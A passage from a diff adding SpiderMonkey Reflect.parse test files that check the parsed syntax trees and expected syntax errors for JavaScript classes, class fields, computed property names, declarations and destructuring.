+ let body = blockStmt([]);
+ let method = funExpr(ident(name), [], body);
+ return classMethod(ident("constructor"), method, "method", false);
+ }
+
+ let genConstructor = constructor_("C");
+
+ // TODO: Should genConstructor be present?
+ assertExpr("(class C { x = 2; })", classExpr(ident("C"), null, [classField(ident("x"), lit(2)), genConstructor]));
+ assertExpr("(class C { x = x; })", classExpr(ident("C"), null, [classField(ident("x"), ident("x")), genConstructor]))
+ assertExpr("(class C { x; })", classExpr(ident("C"), null, [classField(ident("x"), null), genConstructor]))
+ assertExpr("(class C { x; y = 2; })", classExpr(ident("C"), null, [classField(ident("x"), null), classField(ident("y"), lit(2)), genConstructor]))
+ assertExpr("(class C { x = 2; constructor(){} })", classExpr(ident("C"), null, [classField(ident("x"), lit(2)), genConstructor]))
+
+ if (getRealmConfiguration().privateFields) {
+ assertExpr("(class C { #x = 2; })", classExpr(ident("C"), null, [classField(ident("#x"), lit(2)), genConstructor]));
+ assertExpr("(class C { #x; })", classExpr(ident("C"), null, [classField(ident("#x"), null), genConstructor]))
+ assertExpr("(class C { #x; #y = 2; })", classExpr(ident("C"), null, [classField(ident("#x"), null), classField(ident("#y"), lit(2)), genConstructor]))
+ }
+}
+
+runtest(testClassFields);
diff --git a/js/src/tests/non262/reflect-parse/classes.js b/js/src/tests/non262/reflect-parse/classes.js
new file mode 100644
index 0000000000..609c0d1e10
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/classes.js
@@ -0,0 +1,552 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+// Classes
+function testClasses() {
+ function methodFun(id, kind, generator, args, body = []) {
+ assertEq(generator && kind === "method", generator);
+ assertEq(typeof id === 'string' || id === null, true);
+ let methodName;
+ switch (kind) {
+ case "method":
+ methodName = typeof id === 'string' ? ident(id) : null;
+ break;
+ case "get":
+ case "set":
+ methodName = ident(`${kind} ${typeof id === 'string' ? id : ""}`);
+ break;
+ default:
+ methodName = null;
+ break;
+ }
+ return generator
+ ? genFunExpr("es6", methodName, args.map(ident), blockStmt(body))
+ : funExpr(methodName, args.map(ident), blockStmt(body));
+ }
+
+ function simpleMethod(id, kind, generator, args=[], isStatic=false) {
+ return classMethod(ident(id),
+ methodFun(id, kind, generator, args),
+ kind, isStatic);
+ }
+ function ctorWithName(id, body = []) {
+ return classMethod(ident("constructor"),
+ methodFun(id, "method", false, [], body),
+ "method", false);
+ }
+ function emptyCPNMethod(id, isStatic) {
+ return classMethod(computedName(lit(id)),
+ funExpr(null, [], blockStmt([])),
+ "method", isStatic);
+ }
+
+ function assertClassExpr(str, methods, heritage=null, name=null) {
+ let template = classExpr(name, heritage, methods);
+ assertExpr("(" + str + ")", template);
+ }
+
+ // FunctionExpression of constructor has class name as its id.
+ // FIXME: Implement ES6 function "name" property semantics (bug 883377).
+ let ctorPlaceholder = {};
+ function assertClass(str, methods, heritage=null, constructorBody=[]) {
+ let namelessStr = str.replace("NAME", "");
+ let namedStr = str.replace("NAME", "Foo");
+ let namedCtor = ctorWithName("Foo", constructorBody);
+ let namelessCtor = ctorWithName(null, constructorBody);
+ let namelessMethods = methods.map(x => x == ctorPlaceholder ? namelessCtor : x);
+ let namedMethods = methods.map(x => x == ctorPlaceholder ? namedCtor : x);
+ assertClassExpr(namelessStr, namelessMethods, heritage);
+ assertClassExpr(namedStr, namedMethods, heritage, ident("Foo"));
+
+ let template = classStmt(ident("Foo"), heritage, namedMethods);
+ assertStmt(namedStr, template);
+ }
+ function assertNamedClassError(str, error) {
+ assertError(str, error);
+ assertError("(" + str + ")", error);
+ }
+ function assertClassError(str, error) {
+ assertNamedClassError(str, error);
+ assertError("(" + str.replace("NAME", "") + ")", error);
+ }
+
+ /* Trivial classes */
+ // Unnamed class statements are forbidden, but unnamed class expressions are
+ // just fine.
+ assertError("class { constructor() { } }", SyntaxError);
+ assertClass("class NAME { constructor() { } }", [ctorPlaceholder]);
+
+ // A class name must actually be a name
+ assertNamedClassError("class x.y { constructor() {} }", SyntaxError);
+ assertNamedClassError("class [] { constructor() {} }", SyntaxError);
+ assertNamedClassError("class {x} { constructor() {} }", SyntaxError);
+ assertNamedClassError("class for { constructor() {} }", SyntaxError);
+
+ // Allow methods and accessors
+ assertClass("class NAME { constructor() { } method() { } }",
+ [ctorPlaceholder, simpleMethod("method", "method", false)]);
+
+ assertClass("class NAME { constructor() { } get method() { } }",
+ [ctorPlaceholder, simpleMethod("method", "get", false)]);
+
+ assertClass("class NAME { constructor() { } set method(x) { } }",
+ [ctorPlaceholder, simpleMethod("method", "set", false, ["x"])]);
+
+ /* Static */
+ assertClass(`class NAME {
+ constructor() { };
+ static method() { };
+ static *methodGen() { };
+ static get getter() { };
+ static set setter(x) { }
+ }`,
+ [ctorPlaceholder,
+ simpleMethod("method", "method", false, [], true),
+ simpleMethod("methodGen", "method", true, [], true),
+ simpleMethod("getter", "get", false, [], true),
+ simpleMethod("setter", "set", false, ["x"], true)]);
+
+ // It's not an error to have a method named static, static, or not.
+ assertClass("class NAME { constructor() { } static() { } }",
+ [ctorPlaceholder, simpleMethod("static", "method", false)]);
+ assertClass("class NAME { static static() { }; constructor() { } }",
+ [simpleMethod("static", "method", false, [], true), ctorPlaceholder]);
+ assertClass("class NAME { static get static() { }; constructor() { } }",
+ [simpleMethod("static", "get", false, [], true), ctorPlaceholder]);
+ assertClass("class NAME { constructor() { }; static set static(x) { } }",
+ [ctorPlaceholder, simpleMethod("static", "set", false, ["x"], true)]);
+
+ // You do, however, have to put static in the right spot
+ assertClassError("class NAME { constructor() { }; get static foo() { } }", SyntaxError);
+
+ // Spec disallows "prototype" as a static member in a class, since that
+ // one's important to make the desugaring work
+ assertClassError("class NAME { constructor() { } static prototype() { } }", SyntaxError);
+ assertClassError("class NAME { constructor() { } static *prototype() { } }", SyntaxError);
+ assertClassError("class NAME { static get prototype() { }; constructor() { } }", SyntaxError);
+ assertClassError("class NAME { static set prototype(x) { }; constructor() { } }", SyntaxError);
+
+ // You are, however, allowed to have a CPN called prototype as a static
+ assertClass("class NAME { constructor() { }; static [\"prototype\"]() { } }",
+ [ctorPlaceholder, emptyCPNMethod("prototype", true)]);
+
+ /* Constructor */
+ // Allow default constructors
+ assertClass("class NAME { }", []);
+ assertClass("class NAME extends null { }", [], lit(null));
+
+ // Derived class constructor must have curly brackets
+ assertClassError("class NAME extends null { constructor() 1 }", SyntaxError);
+
+ // It is an error to have two methods named constructor, but not other
+ // names, regardless if one is an accessor or a generator or static.
+ assertClassError("class NAME { constructor() { } constructor(a) { } }", SyntaxError);
+ let methods = [["method() { }", simpleMethod("method", "method", false)],
+ ["*method() { }", simpleMethod("method", "method", true)],
+ ["get method() { }", simpleMethod("method", "get", false)],
+ ["set method(x) { }", simpleMethod("method", "set", false, ["x"])],
+ ["static method() { }", simpleMethod("method", "method", false, [], true)],
+ ["static *method() { }", simpleMethod("method", "method", true, [], true)],
+ ["static get method() { }", simpleMethod("method", "get", false, [], true)],
+ ["static set method(x) { }", simpleMethod("method", "set", false, ["x"], true)]];
+ let i,j;
+ for (i=0; i < methods.length; i++) {
+ for (j=0; j < methods.length; j++) {
+ let str = "class NAME { constructor() { } " +
+ methods[i][0] + " " + methods[j][0] +
+ " }";
+ assertClass(str, [ctorPlaceholder, methods[i][1], methods[j][1]]);
+ }
+ }
+
+ // It is, however, not an error to have a constructor, and a method with a
+ // computed property name 'constructor'
+ assertClass("class NAME { constructor () { } [\"constructor\"] () { } }",
+ [ctorPlaceholder, emptyCPNMethod("constructor", false)]);
+
+ // It is an error to have a generator or accessor named constructor
+ assertClassError("class NAME { *constructor() { } }", SyntaxError);
+ assertClassError("class NAME { get constructor() { } }", SyntaxError);
+ assertClassError("class NAME { set constructor() { } }", SyntaxError);
+
+ /* Semicolons */
+ // Allow Semicolons in Class Definitions
+ assertClass("class NAME { constructor() { }; }", [ctorPlaceholder]);
+
+ // Allow more than one semicolon, even in otherwise trivial classses
+ assertClass("class NAME { ;;; constructor() { } }", [ctorPlaceholder]);
+
+ // Semicolons are optional, even if the methods share a line
+ assertClass("class NAME { method() { } constructor() { } }",
+ [simpleMethod("method", "method", false), ctorPlaceholder]);
+
+ /* Generators */
+ // No yield as a class name inside a generator
+ assertError(`function *foo() {
+ class yield {
+ constructor() { }
+ }
+ }`, SyntaxError);
+ assertError(`function *foo() {
+ (class yield {
+ constructor() { }
+ })
+ }`, SyntaxError);
+
+ // No legacy generators for methods.
+ assertClassError(`class NAME {
+ constructor() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ method() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ get method() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ set method() { yield 2; }
+ }`, SyntaxError);
+
+ // Methods may be generators, but not accessors
+ assertClassError("class NAME { constructor() { } *get foo() { } }", SyntaxError);
+ assertClassError("class NAME { constructor() { } *set foo() { } }", SyntaxError);
+
+ assertClass("class NAME { *method() { } constructor() { } }",
+ [simpleMethod("method", "method", true), ctorPlaceholder]);
+
+ /* Strictness */
+ // yield is a strict-mode keyword, and class definitions are always strict.
+ assertClassError("class NAME { constructor() { var yield; } }", SyntaxError);
+
+ // Beware of the strictness of computed property names. Here use bareword
+ // deletion (a deprecated action) to check.
+ assertClassError("class NAME { constructor() { } [delete bar]() { }}", SyntaxError);
+
+ /* Bindings */
+ // Class statements bind lexically, so they should collide with other
+ // in-block lexical bindings, but class expressions don't.
+ let FooCtor = ctorWithName("Foo");
+ assertError("{ let Foo; class Foo { constructor() { } } }", SyntaxError);
+ assertStmt("{ let Foo; (class Foo { constructor() { } }) }",
+ blockStmt([letDecl([{id: ident("Foo"), init: null}]),
+ exprStmt(classExpr(ident("Foo"), null, [FooCtor]))]));
+ assertError("{ const Foo = 0; class Foo { constructor() { } } }", SyntaxError);
+ assertStmt("{ const Foo = 0; (class Foo { constructor() { } }) }",
+ blockStmt([constDecl([{id: ident("Foo"), init: lit(0)}]),
+ exprStmt(classExpr(ident("Foo"), null, [FooCtor]))]));
+ assertError("{ class Foo { constructor() { } } class Foo { constructor() { } } }", SyntaxError);
+ assertStmt(`{
+ (class Foo {
+ constructor() { }
+ },
+ class Foo {
+ constructor() { }
+ });
+ }`,
+ blockStmt([exprStmt(seqExpr([classExpr(ident("Foo"), null, [FooCtor]),
+ classExpr(ident("Foo"), null, [FooCtor])]))]));
+ assertStmt(`{
+ var x = class Foo { constructor() { } };
+ class Foo { constructor() { } }
+ }`,
+ blockStmt([varDecl([{ id: ident("x"),
+ init: classExpr(ident("Foo"), null, [FooCtor])
+ }]),
+ classStmt(ident("Foo"), null, [FooCtor])]));
+
+
+ // Can't make a lexical binding without a block.
+ assertError("if (1) class Foo { constructor() { } }", SyntaxError);
+
+ /* Heritage Expressions */
+ // It's illegal to have things that look like "multiple inheritance":
+ // non-parenthesized comma expressions.
+ assertClassError("class NAME extends null, undefined { constructor() { } }", SyntaxError);
+
+ // Again check for strict-mode in heritage expressions
+ assertClassError("class NAME extends (delete x) { constructor() { } }", SyntaxError);
+
+ // You must specify an inheritance if you say "extends"
+ assertClassError("class NAME extends { constructor() { } }", SyntaxError);
+
+ // "extends" is still a valid name for a method
+ assertClass("class NAME { constructor() { }; extends() { } }",
+ [ctorPlaceholder, simpleMethod("extends", "method", false)]);
+
+ // Immediate expression
+ assertClass("class NAME extends null { constructor() { } }",
+ [ctorPlaceholder], lit(null));
+
+ // Sequence expresson
+ assertClass("class NAME extends (undefined, undefined) { constructor() { } }",
+ [ctorPlaceholder], seqExpr([ident("undefined"), ident("undefined")]));
+
+ // Function expression
+ let emptyFunction = funExpr(null, [], blockStmt([]));
+ assertClass("class NAME extends function(){ } { constructor() { } }",
+ [ctorPlaceholder], emptyFunction);
+
+ // New expression
+ assertClass("class NAME extends new function(){ }() { constructor() { } }",
+ [ctorPlaceholder], newExpr(emptyFunction, []));
+
+ // Call expression
+ assertClass("class NAME extends function(){ }() { constructor() { } }",
+ [ctorPlaceholder], callExpr(emptyFunction, []));
+
+ // Dot expression
+ assertClass("class NAME extends {}.foo { constructor() { } }",
+ [ctorPlaceholder], dotExpr(objExpr([]), ident("foo")));
+
+ // Member expression
+ assertClass("class NAME extends {}[foo] { constructor() { } }",
+ [ctorPlaceholder], memExpr(objExpr([]), ident("foo")));
+
+ if (getRealmConfiguration().privateMethods) {
+ // #constructor is an invalid private method name.
+ assertClassError("class NAME { #constructor() { } }", SyntaxError);
+
+ const method = ["#method() { }", simpleMethod("#method", "method", false)];
+ const generator = ["*#method() { }", simpleMethod("#method", "method", true)];
+ const getter = ["get #method() { }", simpleMethod("#method", "get", false)];
+ const setter = ["set #method(x) { }", simpleMethod("#method", "set", false, ["x"])];
+ for (const [source, parsed] of [method, generator, getter, setter]) {
+ assertClass(`class NAME { constructor() { } ${source} }`, [ctorPlaceholder, parsed]);
+ }
+
+ // Private getters and setters of the same name are allowed.
+ assertClass(`class NAME { constructor() { } ${getter[0]} ${setter[0]} }`,
+ [ctorPlaceholder, getter[1], setter[1]]);
+ assertClass(`class NAME { constructor() { } ${setter[0]} ${getter[0]} }`,
+ [ctorPlaceholder, setter[1], getter[1]]);
+
+ // Private method names can't be used multiple times, other than for a getter/setter pair.
+ for (const [source1, _] of [method, generator, getter, setter]) {
+ for (const [source2, _] of [method, generator]) {
+ assertClassError(`class NAME { constructor() { } ${source1} ${source2} }`, SyntaxError);
+ }
+ }
+
+ assertClassError(`class NAME { constructor() { } ${setter[0]} ${setter[0]} }`, SyntaxError);
+ assertClassError(`class NAME { constructor() { } ${getter[0]} ${getter[0]} }`, SyntaxError);
+ }
+
+ /* SuperProperty */
+ // NOTE: Some of these tests involve object literals, as SuperProperty is a
+ // valid production in any method definition, including in objectl
+ // litterals. These tests still fall here, as |super| is not implemented in
+ // any form without classes.
+
+ function assertValidSuperProps(assertion, makeStr, makeExpr, type, generator, args, static,
+ extending)
+ {
+ let superProperty = superProp(ident("prop"));
+ let superMember = superElem(lit("prop"));
+
+ let situations = [
+ ["super.prop", superProperty],
+ ["super['prop']", superMember],
+ ["super.prop()", callExpr(superProperty, [])],
+ ["super['prop']()", callExpr(superMember, [])],
+ ["new super.prop()", newExpr(superProperty, [])],
+ ["new super['prop']()", newExpr(superMember, [])],
+ ["delete super.prop", unExpr("delete", superProperty)],
+ ["delete super['prop']", unExpr("delete", superMember)],
+ ["++super.prop", updExpr("++", superProperty, true)],
+ ["super['prop']--", updExpr("--", superMember, false)],
+ ["super.prop = 4", aExpr("=", superProperty, lit(4))],
+ ["super['prop'] = 4", aExpr("=", superMember, lit(4))],
+ ["super.prop += 4", aExpr("+=", superProperty, lit(4))],
+ ["super['prop'] += 4", aExpr("+=", superMember, lit(4))],
+ ["super.prop -= 4", aExpr("-=", superProperty, lit(4))],
+ ["super['prop'] -= 4", aExpr("-=", superMember, lit(4))],
+ ["super.prop *= 4", aExpr("*=", superProperty, lit(4))],
+ ["super['prop'] *= 4", aExpr("*=", superMember, lit(4))],
+ ["super.prop /= 4", aExpr("/=", superProperty, lit(4))],
+ ["super['prop'] /= 4", aExpr("/=", superMember, lit(4))],
+ ["super.prop %= 4", aExpr("%=", superProperty, lit(4))],
+ ["super['prop'] %= 4", aExpr("%=", superMember, lit(4))],
+ ["super.prop <<= 4", aExpr("<<=", superProperty, lit(4))],
+ ["super['prop'] <<= 4", aExpr("<<=", superMember, lit(4))],
+ ["super.prop >>= 4", aExpr(">>=", superProperty, lit(4))],
+ ["super['prop'] >>= 4", aExpr(">>=", superMember, lit(4))],
+ ["super.prop >>>= 4", aExpr(">>>=", superProperty, lit(4))],
+ ["super['prop'] >>>= 4", aExpr(">>>=", superMember, lit(4))],
+ ["super.prop |= 4", aExpr("|=", superProperty, lit(4))],
+ ["super['prop'] |= 4", aExpr("|=", superMember, lit(4))],
+ ["super.prop ^= 4", aExpr("^=", superProperty, lit(4))],
+ ["super['prop'] ^= 4", aExpr("^=", superMember, lit(4))],
+ ["super.prop &= 4", aExpr("&=", superProperty, lit(4))],
+ ["super['prop'] &= 4", aExpr("&=", superMember, lit(4))],
+
+ // We can also use super from inside arrow functions in method
+ // definitions
+ ["()=>super.prop", arrowExpr([], superProperty)],
+ ["()=>super['prop']", arrowExpr([], superMember)]];
+
+ for (let situation of situations) {
+ let sitStr = situation[0];
+ let sitExpr = situation[1];
+
+ let fun = methodFun("method", type, generator, args, [exprStmt(sitExpr)]);
+ let str = makeStr(sitStr, type, generator, args, static, extending);
+ assertion(str, makeExpr(fun, type, static), extending);
+ }
+ }
+
+ function assertValidSuperPropTypes(assertion, makeStr, makeExpr, static, extending) {
+ for (let type of ["method", "get", "set"]) {
+ if (type === "method") {
+ // methods can also be generators
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, true, [], static, extending);
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, false, [], static, extending);
+ continue;
+ }
+
+ // Setters require 1 argument, and getters require 0
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, false,
+ type === "set" ? ["x"] : [], static, extending);
+ }
+ }
+
+ function makeSuperPropMethodStr(propStr, type, generator, args) {
+ return `${type === "method" ? "" : type} ${generator ? "*" : ""} method(${args.join(",")})
+ {
+ ${propStr};
+ }`;
+ }
+
+ function makeClassSuperPropStr(propStr, type, generator, args, static, extending) {
+ return `class NAME ${extending ? "extends null" : ""} {
+ constructor() { };
+ ${static ? "static" : ""} ${makeSuperPropMethodStr(propStr, type, generator, args)}
+ }`;
+ }
+ function makeClassSuperPropExpr(fun, type, static) {
+ // We are going right into assertClass, so we don't have to build the
+ // entire statement.
+ return [ctorPlaceholder,
+ classMethod(ident("method"), fun, type, static)];
+ }
+ function doClassSuperPropAssert(str, expr, extending) {
+ assertClass(str, expr, extending ? lit(null) : null);
+ }
+ function assertValidClassSuperPropExtends(extending) {
+ // super.prop and super[prop] are valid, regardless of whether the
+ // method is static or not
+ assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr,
+ false, extending);
+ assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr,
+ true, extending);
+ }
+ function assertValidClassSuperProps() {
+ // super.prop and super[prop] are valid, regardless of class heritage
+ assertValidClassSuperPropExtends(false);
+ assertValidClassSuperPropExtends(true);
+ }
+
+ function makeOLSuperPropStr(propStr, type, generator, args) {
+ let str = `({ ${makeSuperPropMethodStr(propStr, type, generator, args)} })`;
+ return str;
+ }
+ function makeOLSuperPropExpr(fun) {
+ return objExpr([{ type: "Property", key: ident("method"), value: fun}]);
+ }
+ function assertValidOLSuperProps() {
+ assertValidSuperPropTypes(assertExpr, makeOLSuperPropStr, makeOLSuperPropExpr);
+ }
+
+
+ // Check all valid uses of SuperProperty
+ assertValidClassSuperProps();
+ assertValidOLSuperProps();
+
+ // SuperProperty is forbidden outside of method definitions.
+ assertError("function foo () { super.prop; }", SyntaxError);
+ assertError("(function () { super.prop; }", SyntaxError);
+ assertError("(()=>super.prop)", SyntaxError);
+ assertError("function *foo() { super.prop; }", SyntaxError);
+ assertError("super.prop", SyntaxError);
+ assertError("function foo () { super['prop']; }", SyntaxError);
+ assertError("(function () { super['prop']; }", SyntaxError);
+ assertError("(()=>super['prop'])", SyntaxError);
+ assertError("function *foo() { super['prop']; }", SyntaxError);
+ assertError("super['prop']", SyntaxError);
+
+ // Or inside functions inside method definitions...
+ assertClassError("class NAME { constructor() { function nested() { super.prop; }}}", SyntaxError);
+
+ // Bare super is forbidden
+ assertError("super", SyntaxError);
+
+ // Even where super is otherwise allowed
+ assertError("{ foo() { super } }", SyntaxError);
+ assertClassError("class NAME { constructor() { super; } }", SyntaxError);
+
+ /* SuperCall */
+
+ // SuperCall is invalid outside derived class constructors.
+ assertError("super()", SyntaxError);
+ assertError("(function() { super(); })", SyntaxError);
+
+
+ // Even in class constructors
+ assertClassError("class NAME { constructor() { super(); } }", SyntaxError);
+
+ function superConstructor(args) {
+ return classMethod(ident("constructor"),
+ methodFun("NAME", "method", false,
+ [], [exprStmt(superCallExpr(args))]),
+ "method", false);
+ }
+
+ function superCallBody(args) {
+ return [exprStmt(superCallExpr(args))];
+ }
+
+ // SuperCall works with various argument configurations.
+ assertClass("class NAME extends null { constructor() { super() } }",
+ [ctorPlaceholder], lit(null), superCallBody([]));
+ assertClass("class NAME extends null { constructor() { super(1) } }",
+ [ctorPlaceholder], lit(null), superCallBody([lit(1)]));
+ assertClass("class NAME extends null { constructor() { super(1, a) } }",
+ [ctorPlaceholder], lit(null), superCallBody([lit(1), ident("a")]));
+ assertClass("class NAME extends null { constructor() { super(...[]) } }",
+ [ctorPlaceholder], lit(null), superCallBody([spread(arrExpr([]))]));
+
+ /* EOF */
+ // Clipped classes should throw a syntax error
+ assertClassError("class NAME {", SyntaxError);
+ assertClassError("class NAME {;", SyntaxError);
+ assertClassError("class NAME { constructor", SyntaxError);
+ assertClassError("class NAME { constructor(", SyntaxError);
+ assertClassError("class NAME { constructor()", SyntaxError);
+ assertClassError("class NAME { constructor()", SyntaxError);
+ assertClassError("class NAME { constructor() {", SyntaxError);
+ assertClassError("class NAME { constructor() { }", SyntaxError);
+ assertClassError("class NAME { static", SyntaxError);
+ assertClassError("class NAME { static y", SyntaxError);
+ assertClassError("class NAME { static *", SyntaxError);
+ assertClassError("class NAME { static *y", SyntaxError);
+ assertClassError("class NAME { static get", SyntaxError);
+ assertClassError("class NAME { static get y", SyntaxError);
+ assertClassError("class NAME { static ;", SyntaxError);
+ assertClassError("class NAME extends", SyntaxError);
+ assertClassError("class NAME { constructor() { super", SyntaxError);
+ assertClassError("class NAME { constructor() { super.", SyntaxError);
+ assertClassError("class NAME { constructor() { super.x", SyntaxError);
+ assertClassError("class NAME { constructor() { super.m(", SyntaxError);
+ assertClassError("class NAME { constructor() { super[", SyntaxError);
+ assertClassError("class NAME { constructor() { super(", SyntaxError);
+
+ // Can not omit curly brackets
+ assertClassError("class NAME { constructor() ({}) }", SyntaxError);
+ assertClassError("class NAME { constructor() void 0 }", SyntaxError);
+ assertClassError("class NAME { constructor() 1 }", SyntaxError);
+ assertClassError("class NAME { constructor() false }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() ({}) }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() void 0 }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() 1 }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() false }", SyntaxError);
+
+}
+
+runtest(testClasses);
diff --git a/js/src/tests/non262/reflect-parse/computedPropNames.js b/js/src/tests/non262/reflect-parse/computedPropNames.js
new file mode 100644
index 0000000000..d96e73152b
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/computedPropNames.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 924688: computed property names
+assertExpr('a= {[field1]: "a", [field2=1]: "b"}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(ident("field1")), value: lit("a")},
+ { key: computedName(aExpr("=", ident("field2"), lit(1))),
+ value: lit("b")}])));
+
+assertExpr('a= {["field1"]: "a", field2 : "b"}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(lit("field1")), value: lit("a") },
+ { key: ident("field2"), value: lit("b") }])));
+
+assertExpr('a= {[1]: 1, 2 : 2}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(lit(1)), value: lit(1) },
+ { key: lit(2), value: lit(2) }])));
+
+// Bug 924688: computed property names - location information
+var node = Reflect.parse("a = {[field1]: 5}");
+Pattern({ body: [ { expression: { right: { properties: [ {key: { loc:
+ { start: { line: 1, column: 5 }, end: { line: 1, column: 13 }}}}]}}}]}).match(node);
+
+// Bug 1048384 - Getter/setter syntax with computed names
+assertExpr("b = { get [meth]() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [], blockStmt([])),
+ method: false, kind: "get"}])));
+assertExpr("b = { set [meth](a) { } }", aExpr("=", ident("b"),
+ objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [ident("a")],
+ blockStmt([])), method: false, kind: "set"}])));
+
+// Bug 1220702 - If it's not written as a method, `.method` should be false.
+assertExpr("({[x]: function () {}})",
+ objExpr([{
+ key: computedName(ident("x")),
+ value: funExpr(null, [], blockStmt([])),
+ method: false,
+ kind: "init"
+ }]));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/declarations.js b/js/src/tests/non262/reflect-parse/declarations.js
new file mode 100644
index 0000000000..4962f4cee9
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/declarations.js
@@ -0,0 +1,97 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 632056: constant-folding
+program([exprStmt(ident("f")),
+ ifStmt(lit(1),
+ blockStmt([funDecl(ident("f"), [], blockStmt([]))]),
+ null)]).assert(Reflect.parse("f; if (1) function f(){}"));
+// declarations
+
+assertDecl("var x = 1, y = 2, z = 3",
+ varDecl([{ id: ident("x"), init: lit(1) },
+ { id: ident("y"), init: lit(2) },
+ { id: ident("z"), init: lit(3) }]));
+assertDecl("var x, y, z",
+ varDecl([{ id: ident("x"), init: null },
+ { id: ident("y"), init: null },
+ { id: ident("z"), init: null }]));
+assertDecl("function foo() { }",
+ funDecl(ident("foo"), [], blockStmt([])));
+assertDecl("function foo() { return 42 }",
+ funDecl(ident("foo"), [], blockStmt([returnStmt(lit(42))])));
+
+assertDecl("function foo(...rest) { }",
+ funDecl(ident("foo"), [], blockStmt([]), [], ident("rest")));
+
+assertDecl("function foo(a=4) { }", funDecl(ident("foo"), [ident("a")], blockStmt([]), [lit(4)]));
+assertDecl("function foo(a, b=4) { }", funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4)]));
+assertDecl("function foo(a, b=4, ...rest) { }",
+ funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4), null], ident("rest")));
+assertDecl("function foo(a=(function () {})) { function a() {} }",
+ funDecl(ident("foo"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))]),
+ [funExpr(null, [], blockStmt([]))]));
+
+// Bug 1018628: default paremeter for destructuring
+assertDecl("function f(a=1, [x,y]=[2,3]) { }",
+ funDecl(ident("f"),
+ [ident("a"), arrPatt([ident("x"), ident("y")])],
+ blockStmt([]),
+ [lit(1), arrExpr([lit(2), lit(3)])]));
+
+// Bug 591437: rebound args have their defs turned into uses
+assertDecl("function f(a) { function a() { } }",
+ funDecl(ident("f"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))])));
+assertDecl("function f(a,b,c) { function b() { } }",
+ funDecl(ident("f"), [ident("a"),ident("b"),ident("c")], blockStmt([funDecl(ident("b"), [], blockStmt([]))])));
+assertDecl("function f(a,[x,y]) { function a() { } }",
+ funDecl(ident("f"),
+ [ident("a"), arrPatt([assignElem("x"), assignElem("y")])],
+ blockStmt([funDecl(ident("a"), [], blockStmt([]))])));
+
+// Bug 591450: this test currently crashes because of a bug in jsparse
+// assertDecl("function f(a,[x,y],b,[w,z],c) { function b() { } }",
+// funDecl(ident("f"),
+// [ident("a"), arrPatt([ident("x"), ident("y")]), ident("b"), arrPatt([ident("w"), ident("z")]), ident("c")],
+// blockStmt([funDecl(ident("b"), [], blockStmt([]))])));
+
+// redeclarations (TOK_NAME nodes with lexdef)
+
+assertStmt("function f() { function g() { } function g() { } }",
+ funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])),
+ funDecl(ident("g"), [], blockStmt([]))])));
+
+// Fails due to parser quirks (bug 638577)
+//assertStmt("function f() { function g() { } function g() { return 42 } }",
+// funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])),
+// funDecl(ident("g"), [], blockStmt([returnStmt(lit(42))]))])));
+
+assertStmt("function f() { var x = 42; var x = 43; }",
+ funDecl(ident("f"), [], blockStmt([varDecl([{ id: ident("x"), init: lit(42) }]),
+ varDecl([{ id: ident("x"), init: lit(43) }])])));
+
+
+assertDecl("var {x:y} = foo;", varDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+assertDecl("var {x} = foo;", varDecl([{ id: objPatt([assignProp("x")]),
+ init: ident("foo") }]));
+
+// Bug 632030: redeclarations between var and funargs, var and function
+assertStmt("function g(x) { var x }",
+ funDecl(ident("g"), [ident("x")], blockStmt([varDecl([{ id: ident("x"), init: null }])])));
+assertProg("f.p = 1; var f; f.p; function f(){}",
+ [exprStmt(aExpr("=", dotExpr(ident("f"), ident("p")), lit(1))),
+ varDecl([{ id: ident("f"), init: null }]),
+ exprStmt(dotExpr(ident("f"), ident("p"))),
+ funDecl(ident("f"), [], blockStmt([]))]);
+}
+
+assertBlockStmt("{ function f(x) {} }",
+ blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))]));
+
+// Annex B semantics should not change parse tree.
+assertBlockStmt("{ let f; { function f(x) {} } }",
+ blockStmt([letDecl([{ id: ident("f"), init: null }]),
+ blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))])]));
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js b/js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js
new file mode 100644
index 0000000000..8005ecc5cd
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 632027: array holes should reflect as null
+assertExpr("[,]=[,]", aExpr("=", arrPatt([null]), arrExpr([null])));
+
+}
+
+runtest(test);
